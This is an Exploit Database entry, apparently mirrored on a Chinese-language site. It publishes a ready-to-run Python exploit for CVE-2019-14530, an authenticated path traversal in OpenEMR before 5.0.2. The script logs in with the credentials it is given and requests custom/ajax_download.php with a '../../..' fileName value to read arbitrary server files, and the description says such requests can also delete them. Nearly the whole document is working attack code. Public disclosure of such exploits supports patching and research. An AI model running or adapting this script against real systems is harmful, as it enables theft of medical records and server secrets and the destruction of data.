OpenEMR 5.0.1.7 – ‘fileName’ Path Traversal (Authenticated)

• Exploit Database
• 14 阅读

• 作者： Ron Jost
  日期： 2021-06-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50037/

• # Exploit Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)
  # Date 16.06.2021
  # Exploit Author: Ron Jost (Hacker5preme)
  # Vendor Homepage: https://www.open-emr.org/
  # Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
  # Version: All versions prior to 5.0.2
  # Tested on: Ubuntu 18.04
  # CVE: CVE-2019-14530
  # CWE: CWE-22
  # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2019-14530-Exploit/README.md
  # Reference: https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf
  
  '''
  Description:
  An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter.
  An authenticated attacker can download any file (that is readable by the user www-data)
  from server storage. If the requested file is writable for the www-data user and the directory
  /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
  '''
  
  
  '''
  Banner:
  '''
  banner = """ 
   
   
   ______ _______ ____ ________ ______ ________
   / ___\ \ / / ____| |___ \ / _ \/ |/ _ \/ | || || ___|___ / / _ \ 
  | |\ \ / /|_| _____ __) | | | | | (_) |_____| | || ||___ \ |_ \| | | |
  | |___\ V / | |__|_____/ __/| |_| | |\__, |_____| |__ _|__) |__) | |_| |
   \____|\_/|_____| |_____|\___/|_|/_/|_||_||____/____/ \___/ 
  
  by Hacker5preme
  
  """
  print(banner)
  
  
  '''
  Import required modules:
  '''
  import requests
  import argparse
  
  
  '''
  User-Input:
  '''
  my_parser = argparse.ArgumentParser(description='OpenEMR Path Traversal')
  my_parser.add_argument('-T', '--IP', type=str)
  my_parser.add_argument('-P', '--PORT', type=str)
  my_parser.add_argument('-U', '--PATH', type=str)
  my_parser.add_argument('-u', '--USERNAME', type=str)
  my_parser.add_argument('-p', '--PASSWORD', type=str)
  args = my_parser.parse_args()
  target_ip = args.IP
  target_port = args.PORT
  openemr_path = args.PATH
  username = args.USERNAME
  password = args.PASSWORD
  print('')
  Filepath = input('[+] Filepath: ')
  
  
  '''
  Authentication:
  '''
  session = requests.Session()
  auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
  
  # Header:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  'Content-Type': 'application/x-www-form-urlencoded',
  'Origin': 'http://' + target_ip,
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1'
  }
  
  # Body:
  body = {
  'new_login_session_management': '1',
  'authProvider': 'Default',
  'authUser': username,
  'clearPass': password,
  'languageChoice': '1'
  }
  
  # Authenticate:
  print('')
  auth = session.post(auth_url, headers=header, data=body)
  if 'error=1&site=' in auth.text:
  print('[-] Authentication failed')
  exit()
  else:
  print('[+] Authentication successfull: ' + str(auth))
  
  
  '''
  Path Traversal:
  '''
  url_static = 'http://' + target_ip + ':' + target_port + openemr_path
  url_dynamic = '/custom/ajax_download.php?fileName=../../../../../../../../..'
  url_exploit = url_static + url_dynamic + Filepath
  print('')
  print('[+] Constructed malicious URL: ')
  
  # Headers:
  header = {
  'Host': target_ip,
  'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  'Accept-Encoding': 'gzip, deflate',
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1'
  }
  
  # Exploit:
  print('')
  print('[+] Contents of ' + Filepath + ':')
  print('')
  getfile = session.get(url_exploit, headers = header)
  print(getfile.text)